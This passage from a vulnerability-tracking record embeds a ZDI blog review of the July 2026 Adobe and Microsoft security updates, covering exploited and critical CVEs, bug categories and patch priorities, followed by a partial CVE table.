free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, \u201cif this fails, nothing above it can be trusted\u201d stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.\nThe July release includes 31Spoofing bugs this month, and we\u2019ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let \"just Spoofing\" lull you into deprioritizing the patch cycle.\nOf 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures \u2014 improper authorization, files/directories accessible to external parties, and link-following \u2014 plus Edge for Android exposing \u201cprivate personal information\u201d twice and two path-traversal bugs. The remaining 40+ are mostly one-line \u201cexposure of sensitive information to an unauthorized actor\u201d entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.\nOnly 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That\u2019s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to \u201cmalicious uses\u201d enabling tampering over the network. That\u2019s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.\nStill with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all \u201callocation of resources without limits or throttling\u201d.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-07-14T22:03:33.294422Z"}, {"uuid": "cc857a09-1a27-4882-b327-0d0034e0c8d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54131", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/14/the-july-2026-security-update-review", "content": "Well folks. Here we are. The bug apocalypse has fully descended upon us. I\u2019ll do my best to sort this out in some way meaningful, but this month\u2019s release shows us the nay-sayers were right, and I\u2019ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for July 2026\nAdobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I\u2019ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We\u2019ll see if other vendors follow their lead.\nFor the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n  \n  \n  \n  \n  \n  \n  \n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-82\n    Adobe ColdFusion\n    13\n    Critical\n    9.9\n    No\n    1\n  \n  \n    APSB26-73\n    Adobe Commerce\n    13\n    Critical\n    9.6\n    No\n    2\n  \n  \n    APSB26-78\n    Adobe After Effects\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-83\n    Adobe Animate\n    6\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-71\n    Adobe Audition\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-81\n    Adobe Bridge\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-77\n    Adobe Creative Cloud Desktop Application\n    2\n    Critical\n    8.1\n    No\n    3\n  \n  \n    APSB26-74\n    Adobe Experience Manager\n    13\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-79\n    Adobe Illustrator\n    5\n    Critical\n    9.3\n    No\n    3\n  \n  \n    APSB26-72\n    Adobe Media Encoder\n    5\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-76\n    Adobe Premiere Pro\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-80\n    Content Credentials SDK\n    12\n    Critical\n    8.2\n    No\n    3\n  \n\n\n  \n    TOTAL\n    12 bulletins\n    88\n    \n    \n    \n    \n  \n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \nWhile nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you\u2019re using these products, patch them. However, you can use you regular patch cadence here. \nMicrosoft Patches for July 2026\nHere it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone\u2019s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won\u2019t cover here. Here\u2019s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years\u2019 totals.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n    \n  \n    \n\n      \n\n      \n        \n\n          \n        \n        \n\n        \n          \n            \n              \n              \n          \n            \n                \n                \n                \n                \n                \n                \n                \n                \n\n            \n          \n        \n            \n          \n        \n\n        \n      \n        \n      \n\n    \n  \n\n\n  \n\n\n\n\n\n  \nThe products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase \u201cWindows components\u201d does some pretty heavy lifting here, too, as just about everything you\u2019ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.\nSo how do we eat this elephant? One byte at a time (pun intended). Let\u2019s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.\n-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege VulnerabilityThis is one of several AD FS being patched this month, but it\u2019s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.\n-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege VulnerabilityThe other bug being exploited in the wild this month is a modest CVSS 5.3 \u2013 but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.\n-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege VulnerabilityThis patch rates the highest CVSS score for the month: a solid 9.9. It\u2019s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn\u2019t alone. If you\u2019re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.\n-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution VulnerabilityThis matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it\u2019s odd to see Microsoft list it as \u201cExploit Maturity Unknown\u201d since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. \n-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. \n-    CVE-2026-55008 - Microsoft Exchange Server Spoofing VulnerabilityIgnore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it\u2019s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session \u2014 no attachment needed, no macro warning, just viewing the message does it. If you\u2019re using OWA, test and deploy this one quickly.\n-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution VulnerabilityThere are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.\n-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution VulnerabilityAnother Critical-rated bug, this one is caused by a race condition. It\u2019s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don\u2019t let the race condition lull you to sleep on a wormable bug.\n-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution VulnerabilityFile this in the \u201cwhy not\u201d category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid\u2019s Minecraft server (it is your kid\u2019s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.\nHere\u2019s the full list of CVEs released by Microsoft for July 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-56155\n  Active Directory\n  Federation Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-56164\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Moderate\n  5.3\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-50661\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.1\n  Yes\n  No\n  SFB\n \n \n  CVE-2026-54121\n  Active Directory\n  Certificate Services Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-45499 **\n  Azure OpenAI Elevation\n  of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-48564\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50370\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56159\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50382\n  DirectX Graphics\n  Kernel Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-41106 **\n  Microsoft 365 Copilot\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-26145 **\n  Microsoft Azure\n  Synapse Elevation of Privilege Vulnerability\n  Critical\n  4.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-48561\n  Microsoft Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-55011\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55012\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55944\n  Microsoft Dynamics NAV\n  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57100 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55041\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54998 **\n  Microsoft Exchange\n  Online Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55008\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-54992\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50314\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50467\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55018\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55022\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55045\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-55049\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55129\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55056\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55140\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55043\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55123\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55120\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50522\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58644\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55040\n  Microsoft SharePoint\n  Server Security Feature Bypass Vulnerability\n  Critical\n  9.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-54117\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54118\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50655\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56189\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57090\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57094\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57087\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57092\n  Microsoft Windows\n  VMSwitch Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55033\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55127\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55132\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55010\n  Minecraft Bedrock\n  Dedicated Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50474\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49164\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-54128\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50518\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49796\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50380\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-54127\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  7.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-50680\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50327\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58542\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58608\n  Windows Print Spooler\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54982\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54995\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-42982\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50392\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50694\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-56188\n  Windows Server Network\n  driver Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50444\n  Windows Server Update\n  Service (WSUS) Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54999\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47302\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50525\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50651\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57108\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50524\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50527\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50648\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50650\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50646\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50649\n  .NET Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47304\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50528\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-50659\n  .NET Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-50526\n  .NET Tampering\n  Vulnerability\n  Important\n  7\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50682\n  Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.1\n  No\n  No\n  DoS\n \n \n  CVE-2026-55001\n  Active Directory\n  Domain Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50647\n  Active Directory\n  Federation Server Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50684\n  Active Directory\n  Federation Server Spoofing Vulnerability\n  Important\n  4.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56170\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-47300\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47303\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50652\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50653\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57969\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58279\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-47632\n  Azure Monitor Agent\n  Metrics Extension Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50338\n  Azure Spring Apps\n  Elevation of Privilege Vulnerability\n  Important\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50488\n  Clipboard User Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50491\n  Code Integrity DLL\n  (ci.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50381\n  Composite Image File\n  System driver (cimfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50427\n  Content Delivery\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50692\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58633\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58634\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50296\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50375\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50353\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50493\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56643\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56644\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58629\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49174\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50495\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-57088\n  Extensible Storage\n  Engine (ESENT) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50663\n  Game: Age of Empires\n  II: Definitive Edition Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47282\n  GitHub Copilot and\n  Visual Studio Code Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41109\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-50510\n  GitHub Copilot Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49787\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50420\n  HTTP.sys Information\n  Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49788\n  HTTP/2 Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50696\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58617\n  M365 Copilot for iOS\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-58595\n  Microsoft Bing App for\n  IOS Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-49162\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50305\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50361\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50466\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  